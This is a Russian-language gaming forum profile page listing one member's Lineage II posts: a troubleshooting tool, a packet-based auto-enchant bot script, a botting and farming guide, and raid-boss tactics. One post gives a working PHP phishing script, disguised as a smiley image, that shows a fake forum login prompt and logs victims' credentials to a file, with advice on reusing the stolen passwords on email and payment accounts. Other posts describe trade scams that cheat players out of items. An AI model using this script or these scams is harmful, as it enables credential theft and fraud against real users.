Jump to content

SokQ

Members
  • Posts

    58
  • Credits

  • Joined

  • Last visited

  • Feedback

    0%

About SokQ

Profile Information

  • Gender
    Not Telling

SokQ's Achievements

Newbie

Newbie (1/16)

0

Reputation

  1. Программа La2Error предназначена для помощи игроку в выявлении ошибок и их устранению в игре Lineage II. Подойдет как новичку, так и опытному пользователю. http://depositfiles.com/files/187ld83ru В данной программе собраны многие ошибки возникающие при запуске игры ,ошибки рассартированы по категориям , к каждой ошибке есть описание и её решение.Всё что требуется от пользователя , выбрать категорию и найти возникшую проблему.
  2. на некоторых серверах не пропадает
  3. ДОБАВЛЮ : сайты можно и с юкоза, но я регал на www.holm.ru Вот не помню где нашел, классная штука.. Вот описание : Суть угона заключается в простом смайлике, который запрашивает авторизацию, вы регистрируетесь на форуме, ставите себе в подпись, или можете кому то в лс отправить его, или в сообщение добавить [ img ]ссылка на смайл[ /img ] вот и все, как только человек увидит этот смайл, у него выскакивает такая табличка http://i080.radikal.ru/0911/10/65895eb3f9d8.jpg Сверху пишет сайт на котором у вас этот смайл,( потому и рекомендую делать его в типе : login или похожу что то на сайт того форума где разводите ) внизу то что вы уже сами можете написать ,мне нужно было для пульса, я написал pulseworld.ru , это вы можете редактировать в самом скрипте.. Ниже в теме все описано что для этого нужно редактировать собственно это и есть окно авторизации, для того что бы такое прокатило, вам нужно зарегистрировать сайт, с ФТП , я зарегал на h16.ru , но можете и на Ucoz'е, лудше всего регать , как я увидел на своем опыте, сайт примерно такой : login-сайт вашего сервера или что то такое, например : login-zhyk.h16.ru , ну или что то в этом роде , круче придумаете , будет больше шанс развести кого то.. заливаете файлы с архива, на свой сайт, точней на ФТП, вам нужно залить все файлы, и .htaccess , не знаю как у вас но у меня через тотал и через файрзиллу не лило, пришлось качать ФТП Commander. сама суть развода заключается вот в чем: вы кидаете смайл, который запрашивает авторизацию, т.к. это не смайл а PHP скрипт.. я сам в этом не очень конечно разбираюсь но стараюсь на нормальном языке рассказать.. как понял сам. Это код скрипта, тут все описано, в зависимости где хотите разводить , надо менять скрипт , то есть эту строчку : "Header('WWW-Authenticate: Basic realm="pulseworld.ru"');" я например просто ради прикола хотел потестить работает ли оно на самом деле, оказалось работает.. на ФТП моего сайта мне в файле passwords.txt в него мне записывали пароли тех кто авторизовался в моем смайле... каждый акк и пасс в новом рядке. код <? //делаем скрипт картинкой header("Content-type: image/gif"); //делаем изображение смайликом из архива $image = imagecreatefromgif('mellow.gif'); if(!$_COOKIE['LOGON']) { $login = $_SERVER['PHP_AUTH_USER']; $pass = $_SERVER['PHP_AUTH_PW']; //Авторизация пройдёт, если пароль больше 4-ёх символов и вообще написан логин if(strlen($pass) <= 4 || !$login) { Header('HTTP/1.1 401 Unauthorized'); Header('WWW-Authenticate: Basic realm="Авторизуйтесь Пожалуйста"'); } elseif($login) { //ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис )) setcookie('LOGON',md5($pass)); //запишем пароли в файл $f = fopen('passwords.txt', 'ab'); //passwords.txt fwrite($f, $login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD fclose($f); } } imagegif($image); imagedestroy($image); ?> Это конечно круто, но зачем нам какой то акк от форума, какое он даст нам преимущество.., а вот какое: Вот мы уже знаем АКК и пасс ,человека которого развели, пусть для примера это будет .. Акк : qip пасс: piq ну попадется на развод много народу , нам нужно выбрать того, у кого на ваш взгляд - может быть Какой то нормальный шмот, или пушка или еще какие то преимущества , что бы не делать всего этого зря. На форуме заходим в вкладку изменить эмейл, там видим, пишет: Ваш текущий эмейл например будет : qip@mail.ru , в большинстве случаев пароль от форума соответствует паролю от эмейла в 80-90% случаях.. С эмейла нам тоже ничего не взять,"но" на эмейле может быть регистрации с других серверов, и в них пароли и аккаунты от сервера, например регистрируемся на ла2 ворлд, и тебе на эмейл приходит сообщение, "Поздравляем с успешной регистрацией, ваш аккаунт такой то , и пароль такой то" Так можно найти много хорошего, даже те же пароли от Веб мани, или что то в этом роде.. и даже тот же контакт, в котором могут быть голоса, Вот и сама ссылка на файл, в архиве есть видео мануал, и еще файл блокнота _http://depositfiles.com/ru/files/s3nvp0ieh?redirect в котором есть описание автора, этой проделки, но описание на этом форуме ,Описание делал сам,мой мануал с тем что в архиве не имеет ничего общего, (оттуда ничего не копировал), мануал писал я сам . вот мой смайл, можете вводить авторизацию любые слова, и у вас покажет смайл, можете нажать отменить и все одно увидите, но при разводе народ вводит свой акк потому что думают - что это окно авторизации для форума _http://login-vh.h16.ru/1/smile.gif вот отчет с вирус тотала Файл basic-auth_vs_forums.rar получен 2009.11.11 18:14:59 (UTC) Антивирус Версия Обновление Результат a-squared 4.5.0.41 2009.11.11 - AhnLab-V3 5.0.0.2 2009.11.11 - Antiy-AVL 2.0.3.7 2009.11.11 - Authentium 5.2.0.5 2009.11.11 - Avast 4.8.1351.0 2009.11.11 - AVG 8.5.0.423 2009.11.11 - BitDefender 7.2 2009.11.11 - CAT-QuickHeal 10.00 2009.11.11 - ClamAV 0.94.1 2009.11.11 - Comodo 2919 2009.11.11 - DrWeb 5.0.0.12182 2009.11.11 - eSafe 7.0.17.0 2009.11.11 - eTrust-Vet 35.1.7115 2009.11.11 - F-Prot 4.5.1.85 2009.11.11 - F-Secure 9.0.15370.0 2009.11.09 - Fortinet 3.120.0.0 2009.11.11 - GData 19 2009.11.11 - Ikarus T3.1.1.74.0 2009.11.11 - K7AntiVirus 7.10.893 2009.11.10 - Kaspersky 7.0.0.125 2009.11.11 - McAfee 5799 2009.11.11 - McAfee+Artemis 5799 2009.11.11 - McAfee-GW-Edition 6.8.5 2009.11.11 - Microsoft 1.5202 2009.11.11 - NOD32 4596 2009.11.11 - Norman 6.03.02 2009.11.10 - nProtect 2009.1.8.0 2009.11.11 - Panda 10.0.2.2 2009.11.11 - PCTools 7.0.3.5 2009.11.11 - Rising 22.21.02.09 2009.11.11 - Sophos 4.47.0 2009.11.11 - Sunbelt 3.2.1858.2 2009.11.11 - Symantec 1.4.4.12 2009.11.11 - TheHacker 6.5.0.2.065 2009.11.11 - TrendMicro 9.0.0.1003 2009.11.11 - VBA32 3.12.10.11 2009.11.10 suspected of RAR.MailBomb ViRobot 2009.11.11.2031 2009.11.11 - VirusBuster 4.6.5.0 2009.11.10 - Дополнительная информация File size: 5646562 bytes MD5...: 6dbbd5dc19eaeb1e5069adcca4ea69a6 SHA1..: 60440cbe0e4592c27fbc79053bed053aca404c0d SHA256: 166162f12a7d09dda1935243b1936df6290c5c0af2abf6e55545e78ced7fe483 ssdeep: 98304:Bieh9wG2pr3/y35tgghFZAeyXjOul1FHKgDZ1DQQpFBxRS4QCp5SdSoWOf<br>SlYU/8:BiO923/a5zZvcHKkzDQQp28inrAv/YUq<br> PEiD..: - PEInfo: - RDS...: NSRL Reference Data Set<br>- pdfid.: -
  4. =======================Конец========================
  5. ну да баны приходят быстро можно через моунт кординаты еще ставить
  6. пакетами работает на кривых зборках
  7. // авто-gracia_final +1. // хроники Грация ФИНАЛ // Соцдействие ДА открыть управление скриптом // в пати чат пишем уровень заточки // можно менять в процесе работы скрипта // заточить один предмет чтоб запомнить чем и что точить // дальше скрипт сам точит до указаного уровня заточки // все предметы ОДИНАКОВЫЕ с ПЕРВЫМ заточеным // предметы точатся добавляя по +1 на предмет // т.е если у вас предметы с одинаковым уровнем заточки например 0 // будет точится первый предмет до +1, потом второй до +1 и т.д // если предмет при заточки блесс скрол слетел на 0 или на уровень как у вас на сервере // то будет точиться он пока несравняется с остальными // и т.д // пока недостигнете заданого уровня заточки // если предметов более 1 то один остается // АВТОР ==>>>> TAMBIK program Enchant_gracia; const //=========================================== myname='TAMBIK'; //<<== пишем свой НИК max=80;//<<== колличество ячеек в рюкзаке //=========================================== HTML='<html><body><center>'+ '<img src="L2UI_CH3.herotower_deco width=256 height=32>'+ '<img src="L2UI.SquareWhite" width=260 height=1>'+ '<font color="04fbfb">Cкрипт автозаточка для gracia_final</font><br>'+ '<img src="L2UI.SquareWhite" width=260 height=1>'+ '<img src="L2UI.Squarewidth" width=260 height=1>'+ '<font color="04fbfb">системные сообщения</font><br>'+ '<button value="в к л" action="bypass -3" width=80 height=15 back="sek.cbui94" fore="sek.cbui92">'+ '<img src="L2UI.SquareWhite" width=60 height=1>'+ '<img src="L2UI.Squarewidth" width=60 height=4>'+ '<font color="04fbfb"> </font><br>'+ '<button value=" в ы к л " action="bypass -4" width=80 height=15 back="sek.cbui94" fore="sek.cbui92">'+ '<img src="L2UI.SquareWhite" width=60 height=1>'+ '<img src="L2UI.Squarewidth" width=60 height=4>'+ '<font color="04fbfb"> </font><br>'+ '<img src="L2UI.SquareWhite" width=260 height=1>'+ '<img src="L2UI.Squarewidth" width=260 height=4>'+ '<font color="04fbfb">АВТОЗАТОЧКА</font><br>'+ '<font color="04fbfb"> </font><br>'+ '<button value="П У С К" action="bypass -pusk" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+ '<img src="L2UI.SquareWhite" width=60 height=1>'+ '<img src="L2UI.Squarewidth" width=60 height=4>'+ '<font color="04fbfb"> </font><br>'+ '<button value="С Т О П" action="bypass -stop" width=100 height=20 back="sek.cbui94" fore="sek.cbui92">'+ '<img src="L2UI.SquareWhite" width=60 height=1>'+ '<img src="L2UI.Squarewidth" width=60 height=4>'+ '<font color="04fbfb"> </font><br>'+ '<img src="L2UI.SquareWhite" width=260 height=1>'+ '<img src="L2UI.Squarewidth" width=260 height=4>'+ '<img src="L2UI.SquareWhite" width=60 height=1>'+ '<img src="L2UI.Squarewidth" width=60 height=4>'+ '<font color="LEVEL">Автор TAMBIK</font><br>'+ '</center></body></html>'; //========================================== var BaseItems:array[1..max,1..11] of integer; Baselvl:array[0..max] of integer; Timer01: TTimer; Timer02: TTimer; Timer03: TTimer; mytext:string; Bypass:string; autostart,start,autoMsg:Boolean; flag : Boolean; t,l,d,x,y,ii,i:integer; ListSize,ItemEnch:word; textID,itemID:integer; enchantObjectID:integer; enchantID,skrolObjectID:integer; ItemOID,objectOID:integer; sumskrol,sumitemID,sumitem:integer; maxlvl,minlvl,enchlvl,selectlvl:integer; skrolID,skrolObj:integer; minEnchitem:integer; object,index : integer; //========================================== // ShowHTML(HTML); Procedure ShowHTML( _html : string ); begin buf:=#$19; WriteD(5); WriteS(_HTML); SendToClientEx(myname); end; //======================== procedure ActionUse; begin Bypass:=ReadS(2); case Bypass of '-3':begin autoMsg:=true; end; '-4':begin autoMsg:=false; end; '-pusk':begin if (autostart=false) then SendMsg2( 'предмет незаточен или пакеты неприняты !' ); if (maxlvl=0) then SendMsg2( ' Неуказан Уровень Заточки !' ); SendMsg2( '_______________________________' ); if autostart and (maxlvl>0) then begin buf:=hstr('14'); SendToServerEx(myname); SendMsg2( ' ! ! ! П О Е Х А Л И ! ! !' ); SendMsg2( '_______________________________' ); start:=true; Timer01.enabled:=true;// вкл таймер выбора свитка end; end; '-stop':begin deleteBase; start:=false; enchantID:=0; ItemEnch:=0; minlvl:=0; sumitem:=0; Timer01.enabled:=false; Timer02.enabled:=false; Timer03.enabled:=false; SendMsg2( ' ! ! ! С Т О П ! ! ! ' ); stopselectskrol; index :=0; for ii:=1 to max do Baselvl[ii]:=-1; end; end; end; //=========================================== procedure SendMsg2(msg:string); begin buf:=#$4A; WriteD(0); WriteD(3); WriteS(''); WriteS(msg); SendToClientEx(myname); end; //=========================================== procedure Resultmaxlvl; var i:integer; begin i:=2; mytext:=ReadS(i); textID:=ReadD(i); if (textID=3) then begin maxlvl:=StrToInt(mytext); SendMsg2( ' установлен Уровень Заточки: '+IntToStr(maxlvl)+'' ); end; end; //.............................................................................. procedure ItemList; var i, j, k: integer; count,x:integer; begin count:=0; x:=0; y:=0; j:=4; //пропускаем дo ListSize ListSize:=ReadH(j); count:=round((Length(pck)-5) / ListSize);// длина блока for i:=1 to ListSize do if (i<=ListSize) then begin BaseItems[i,1]:=ReadH(j); //ItemType1- 1:одето броня. 0:бижа. 4:в рюкзаке BaseItems[i,2]:=ReadD(j); //ObjectID BaseItems[i,3]:=ReadD(j); //ItemID BaseItems[i,4]:=ReadD(j); //LocationSlot BaseItems[i,5]:=ReadD(j); // Amount: BaseItems[i,6]:=ReadD(j); // Amount: BaseItems[i,7]:=ReadH(j);//ItemType2 BaseItems[i,8]:=ReadH(j);// CustomType1 BaseItems[i,9]:=ReadH(j);//isEquipped: BaseItems[i,10]:=ReadD(j);//BodyPart BaseItems[i,11]:=ReadH(j);//EnchantLevel inc(x); // счетчик //y := пропускаем до следущего блока y:=count*x-(j-6);// . 6= длина ListSize + 4 байта пропуска в начале пакета inc(j,y); end else for k:=1 to 11 do BaseItems[i,k]:=0; // забиваем нулями addenchantitemID; if (skrolID>0) then begin sumskrol:=Getitem(skrolID,3,5);//считаем SKROL if autoMsg then SendMsg2 (' SKROL ... c ID : '+IntToStr(skrolID)+' = '+IntToStr(sumskrol)+' ШТ '); if start and (0<sumskrol) then Timer01.enabled:=true;// вкл таймер выбора свитка if (sumskrol=0) then begin SendMsg2 ('........ НЕДОСТАТОЧНО SKROL........ '); SendMsg2 ('___ О С Т А Н О В Л Е Н О ___ '); start:=false; end; end; end; //============================= procedure EnchantResult; begin deleteBase; index :=0; for ii:=1 to max do Baselvl[ii]:=-1; end; //============================= procedure deleteBase; var i,j,k:integer; begin for i:=1 to max do BaseItems[i,1]:=0; BaseItems[i,2]:=0; //ObjectID BaseItems[i,3]:=0; //ItemID BaseItems[i,4]:=0; BaseItems[i,5]:=0; BaseItems[i,6]:=0; BaseItems[i,7]:=0; BaseItems[i,8]:=0; BaseItems[i,9]:=0; BaseItems[i,10]:=0; BaseItems[i,11]:=0; inc(j,y); end; //=========================== function Getitem(Obj,up,down:integer): integer; var i: integer; begin Result:= 0; //В начале у нас 0 for i:=1 to max do if (BaseItems[i,up]=Obj) then begin Result:=BaseItems[i,down]; end; end; //=========================== function Getsumitem(Obj,up,down:integer): integer; var i: integer; begin Result:= 0; //В начале у нас 0 for i:=1 to max do if (BaseItems[i,up]=Obj) then begin Result:=Result+BaseItems[i,down]; end; end; //============================= // добавляем в базу ЛВЛ заточки procedure addenchantitemID; begin for i:=1 to max do if (BaseItems[i,3] = ItemOID) then begin enchlvl:=BaseItems[i,11]; flag:=false; for ii:=1 to max do if (Baselvl[ii] = enchlvl) then begin // текущий уже есть в массиве, flag := true; BREAK; { прекращаем цикл } end; if (flag = false) then begin for ii:=1 to max do if (Baselvl[ii]=-1) then begin // добавим в массив, Baselvl[ii]:=enchlvl; index :=ii; BREAK; { прекращаем цикл } end; end; end; end; //========================== procedure ChooseInventory; var OID, lvl:integer; begin if (ItemOID>0) and start then begin sumitemID:=0; sumitemID:=Getsumitem(ItemOID,3,5); // считаем предметы для заточки minlvl:=Baselvl[1]; for ii:=2 to index do if Baselvl[ii] < minlvl then minlvl:=Baselvl[ii];// мин заточка objectOID:=0; if (sumitemID > sumitem) then objectOID:=GetObjectID(ItemOID);//находим по ItemID предмет с ObjectID if (objectOID = 0) then begin start:=false; SendMsg2('Больше предметов c ID : '+IntToStr(ItemOID)+' для заточки НЕТ ! ! ! ! '); lvl:=0; for i:=1 to max do if (BaseItems[i,3] = ItemOID) then begin OID:=BaseItems[i,2]; lvl:=BaseItems[i,11]; SendMsg2('Предмет c ID : '+IntToStr(ItemOID)+' с ObjectID : '+IntToStr(OID)+' заточен до : '+IntToStr(lvl)+' '); end; end; end; end; //========================= //находим enchantID предмета по ItemID для заточки function GetObjectID(ItemOID:integer) : integer; var ID,i:integer; begin enchantID:= 0; ItemEnch:=0; Result:= 0; if autoMsg then SendMsg2( '*******************************************' ); if (ItemOID>0) then begin if autoMsg then SendMsg2 (' ищем ObjectID предмета с ID : ' +IntToStr(ItemOID)+' '); if autoMsg then SendMsg2('------------------------------' ); for i:=1 to max do if (BaseItems[i,3] = ItemOID) and (BaseItems[i,11] = minlvl) and (BaseItems[i,11] < maxlvl) then begin enchantID:=BaseItems[i,2]; Result:=BaseItems[i,2]; ItemEnch:=BaseItems[i,11]; if autoMsg then SendMsg2(' ..... найден предмет для заточки ..... '); if autoMsg then SendMsg2(' ID : '+IntToStr(ItemOID)+' и ObjectID : '+IntToStr(enchantID)+' заточен до : '+IntToStr(ItemEnch)+''); if autoMsg then SendMsg2('------------------------------' ); if (enchantID>0) then Timer02.enabled:=true; Break; // прерываем дальнейший перебор массива. end; end; end; //========================== procedure stopselectskrol; begin buf:=hstr('D04E00'); SendToServerEx(myname); end; //=================================== procedure OnTimer01(Sender: TObject); begin buf:=#$19; WriteD(skrolObjectID); WriteD(0); SendToServerEx(myname); Timer01.enabled:=false; end; //-------------------------- procedure OnTimer02(Sender: TObject); begin buf:=hstr('D04C00'); WriteD(enchantID); SendToServerEx(myname); Timer02.enabled:=false; Timer03.enabled:=true; end; procedure OnTimer03(Sender: TObject); begin buf:=#$5F; WriteD(enchantID); WriteD(0); SendToServerEx(myname); Timer03.enabled:=false; if autoMsg then SendMsg2(' ..... Точим Предмет ..... '); if autoMsg then SendMsg2( ' ID : '+IntToStr(ItemOID)+' и ObjectID : '+IntToStr(enchantID)+' - до : '+IntToStr(maxlvl)+'' ); if autoMsg then SendMsg2( '_______________________________' ); end; //----------------------------------------- procedure Init; begin minlvl:=0; maxlvl:=0; enchlvl:=0; ItemEnch:=0; sumskrol:=0; sumitem:=0; sumitemID:=0; objectOID:=0; object:=0; enchantObjectID:=0; enchantID:=0; skrolObjectID:=0; skrolID:=0; itemID:=0; ItemOID:=0; t:=0;l:=0;d:=0;index :=0; flag:=false; autostart:=false; start:=false; autoMsg:=true; Timer01:=TTimer.Create(nil); Timer01.OnTimer:=@OnTimer01; Timer01.enabled:=false; Timer01.interval:=400; //<<== время выбора свитка Timer02:=TTimer.Create(nil); Timer02.OnTimer:=@OnTimer02; Timer02.enabled:=false; Timer02.interval:=400; //<<== время выбора предмета Timer03:=TTimer.Create(nil); Timer03.OnTimer:=@OnTimer03; Timer03.enabled:=false; Timer03.interval:=4500; //<<== время между заточкой SendMsg2( ' в пати чат пишем уровень заточки' ); SendMsg2( ' заточить предмет ! !' ); SendMsg2( ' Соцдействие ДА - откр окно управления ' ); SendMsg2( '------------------------------------- ' ); buf:=hstr('14'); SendToServerEx(myname); for ii:=1 to max do Baselvl[ii]:=-1; end; procedure Free; begin Timer01.free; Timer02.free; Timer03.free; end; //========================= begin //не обрабатываем пустые пакеты if pck='' then exit; if FromServer and (pck[1]=#$87) then EnchantResult; if FromServer and (pck[1]=#$11) then ItemList; if FromServer and (pck[1]=#$7C) then ChooseInventory; if FromClient and (pck[1]=#$49) then begin Resultmaxlvl;pck:='';exit;end; // if FromClient and (pck[1]=#$56) and (ReadD(2)=24) then begin ShowHTML(HTML); pck:='';exit; end; if FromClient and (pck[1]=#$23) then begin ActionUse; pck:='';exit;end; // begin if (start=false) and FromClient then case pck[1] of #$19:begin stopselectskrol; buf:=hstr('14'); SendToServerEx(myname); t:=1; skrolObjectID:=ReadD(2); skrolID:= Getitem(skrolObjectID,2,3);//находим по ObjectID скрол с ItemID SendMsg2(' .................' ); SendMsg2(' активирован SKROL ID : '+IntToStr(skrolID)+' ' ); SendMsg2(' .................' ); end; #$D0:if ReadH(2)=76 then begin l:=1; SendMsg2(' окно выбора предмета ' ); SendMsg2(' .................' ); end; #$5F:begin d:=1; enchantObjectID:=ReadD(2); if (t=1) and (l=1) and (d=1) then begin autostart:=true; ItemOID:= Getitem(enchantObjectID,2,3);//находим по ObjectID предмет с ItemID SendMsg2 (' ID предмета : '+IntToStr(ItemOID)+' для заточки'); sumitemID:=0; sumitem:=0; sumitemID:=Getsumitem(ItemOID,3,5); // считаем предметы для заточки SendMsg2 (' Предметов для заточки с ID : '+IntToStr(ItemOID)+' = '+IntToStr(sumitemID)+' ШТ '); if (sumitemID > 1) then sumitem:=1; stopselectskrol; end; end; end; end; end.
  8. Добился на руофе всего чего хотел, игра потеряла всякий смысл, по этому решил создать данный топ для нубов, ну или для тех кто не до конца понял сколько может приносить бот. Скрипты: http://depositfiles.com/en/files/5syqvledp 1-21_scav - гном 1-21 + профа на собирателя, начало на месте появления. с 21. dion_kosti кач/спойл у диона лвла на глазах (различие в загруженном сете, default сделан для кача, т.е. бот бьет всех мобов, spoil - на спойл, бот бьет только нужных.) с 28. giran_breka_leather - кач/спойл в укреплениях бреки (гиран тп) как альтернатива бреке есть 2 скрипта на кач/спойл под шутгартов, там спойлится МО, Ори Оре, Сталь, и Замша. с 36 giran_hardin_varnish. кач/спойл в академии хардина (гиран тп) с 40 hw_kosti-skin. кач/спойл под хв (на чаре должно быть 40-50к т.к. ребаф в орене) с 48. oren_les/shut_golem. кач/спойл в лесу (орен тп), либо в заброшенной мастерской под шутгартом. 8. крафт ССД в вх диона 9. крафт ССА в вх адена И так,поехали: Скрипты на крафт СС автоматизированы, встаете рядом с вх, загружаете нужный сет и запускаете скрипт, гном сам будет проверять наличие кри и оре, брать их из вх и выкладывать СС после 30к. В скрипте на крафт ССА так же есть ребаф вышевки, который ускоряет реген мп при одетой робе. Немалую часть кри на ССД вы будете получать с дропа коммон вещей, особенно много падает в бреке. Во всех скриптах есть ежечасный ребаф (на ночь нужно ~15 сое) и проверка на смерть, до академии хардина можно качаться без СС, но как показала полугодовая практика - СС снижает вероятность бана раза в 2-3. DELAY во всех скриптах рассчитан на 8 окон на моем компе, так что тут возможно придется подогнать под себя. Банок хп будет достаточно тех, что получите после скрипта 1-21+ профа, так же в бреке спойлятся банки побольше. Теперь о цифрах: После скрипта 1-21 + профа и продажи всего вам хватит на коммон тод-д, за ночь на втором скрипте 1 гном приносит ~600-800 костей, в зависимости от кол-ва народу на локации. По достижении 28 лвл идем в бреку, там за ночь набирается 200 с мелочью лизеров (кожа). После варнишь в академии, но он меня не интересовал, просто качаться было негде, по-этому не знаю сколько его получается. На 40, со второй профой и в топ-ц коммоне, либо докачиваемся до 43 в академии, либо валим в хв, там мобы 43+, по этому спойл без скила на 43 будет ****овым, но вот после 43 варсмит+бх за ночь приносили по 500-700 костей и шкурок. Далее в лес, им я тоже не заморачивался особо, потому как понял где настоящие деньги. Так вы сколотите стартовый капитал. Это достаточно простой набор, не самый выгодный, но стабильный и конвеерный, 4 окна фармят ожидая бана, еще 2 в это время профу делают еще 2 продают все. Проблемы начинаются когда вы сидить с 20к шкур и костей и не знаете что с ними делать, т.к. в таких масштабах покупку сотни-двух просто за сделку не счетаете. Теперь берем все те же самые скрипты и качаем 4 крафтеров, нам нужен 55ый лвл, не больше, не меньше, покупаем рецы ССА. При сегодняшних ценах на кадмусе, скупка А кри идет по 10к, оре в гиране по 312а, таким образом получаем цену одной соски в 71а, при том что на рынке, с ценой в 104-103а вас унесут вместе с пачкой ССА которая у вас в инвентаре, для наглядности: Есть у вас 10.616.000а, вы рассчитываете кол-во кри и оре на всю сумму, получается что-то в районе 500 кри и 18к оре, получается 150к ССА, умножаем 150к на 103а за каждую и получаем 15кк с чем-то там. К слову, 150к ССА спокойно расходятся за сутки в годдарте при общепринятой цене, снизите на 1а - быстрее купят, снизите на 2а - снесут. Невероятно огромным плюсом подобного заработка является факт того что вам не нужно ждать бана, крафтер сидит у вх и все, вы переодически прибегаете твинками, загружаетесь и снова на трейд. Если кому-то прирост в 5кк кажется неубедительным аргументом: из 127кк получается 180 (тут получается ~1.5кк ССА, за 4-5 дней уходят) из 180кк получается 250 или 260, не помню уже вобщем прогрессия нормальная. Так же могу посоветовать не ждать пока у вас купят все СС, скупили часть - посадили окно на скупку кри, купили нужное кол-во, побежали купили оре и сунули все это крафтеру.
  9. Вообщем эта тема актуальна для серваков с фулл бафферами: выбираем себе в жертву РБ (желательно без охраны), далее заходим валкероми двумя танками, соответственно настаиваем банки маны и, самое главное, ставим расстояние следования за вами 200+, расставляем танков с 2х сторон от рб и пишем скриптег, от которого нам требуется label(start) Useskill( "тут айди и название скилла агра") delay(2000) // настраиваем в зависимости от скорости передвижения РБ jmp(start) также можем в скрипт включить проверку маны теперь делаем следующее, кто-то из магов должен быть на готове немного похилить танка, на ктором вы первом запускаете скрипт (не забываем про УД) потом с интервалом в 1 секнду (опять же зависит от рб) запускаем скрипты на валкерах: результат вас порадует =)) РБ будет носится от одного танка к другому не успевая нанести урон , тем самым маги могут спокойно бить его под КДЛ, на основании этого можно валить и с охраной рб, тока не забываем такнка также на каст бафать и в скрипт мы прописываем таргеты охраны и рб , иначе могут и на магов сорваться . PS: по аналогии видел как рб клали в 2ем: танк+маг конечно они все переточенные были в ы грейде под фулом и наверняка с эпик бижей: делали они так: танк агрит и убегает , маг пинает - переагривая тем самым на себя когда РБ был близко к магу, танк сонва его агрил и так по кругу - тут главное четкая слаженность - ботами так не выйдет, к тому же пинали они этого РБ минут 30 =)) interlude
  10. Дано: ы меч +10, ы блессед випон точка. Требуется: безопасно заточить (в данном случае безопасно - как страховка, в случае неудачи компенсируется стоимость потерянного имущества). Решение: выставляем нашу ы точку на быструю панель. продаем наш меч (кидаем его в трейд, ждем пока чел кинет нам деньги/колы/фа итд равноценно мечу и подтвердит). Когда чел подтверждает, быстро точим этот ссамый меч. а теперь внимание! в случае успеха мы имеем меч уже +11 и шлем чела в сад. в случае неудачи быстро жмем окей и получаем эквивалент нашему мечу +10. а почему? потому что если наш меч станет +0 в трейде он по прежнему отображается как +10! и даже шифт+клик на нем отобразит наш +10. Имеем: страховку заточки. Баг работает на Gracia part 2. Говорят работает на: la2antidonat.com/ waterlights.ru/ rpg-club.com/ этот баг работал и работает на интерлюде! Правда веселее точить не блесками, а простыми, тогда чел получал кристалы, хотя в трейде видно точеную пушку.
  11. Загрузите 2-х персов. Найдите жертву для обмена вещами.(можете потестить и в 3 окна) 1.Вы предложили жертве обмен (например пуху Д на пуху Ц) 2.Вы кидаете жертве трейд, показываете ему пуху,потом отменяете трейд. 3.Кидаете трейд своему второму персу. Confirm(принять) не жмем, а жмем ALT+H ! 4.Ждем какое то время и основным персом кидаем трейд жертве. 5.Жертва принимает трейд, вы кидаете свою пуху, жертва-свою. 6.В это время быстренько переключаемся на второго перса, жмем ALT+H, и принимаем трейд. 7. основным персом соглашаемся на трейд. Обе пухи у вас в инвентаре. мануал: http://rapidshare.com/files/22566197...y_fakoykas.rar
×
×
  • Create New...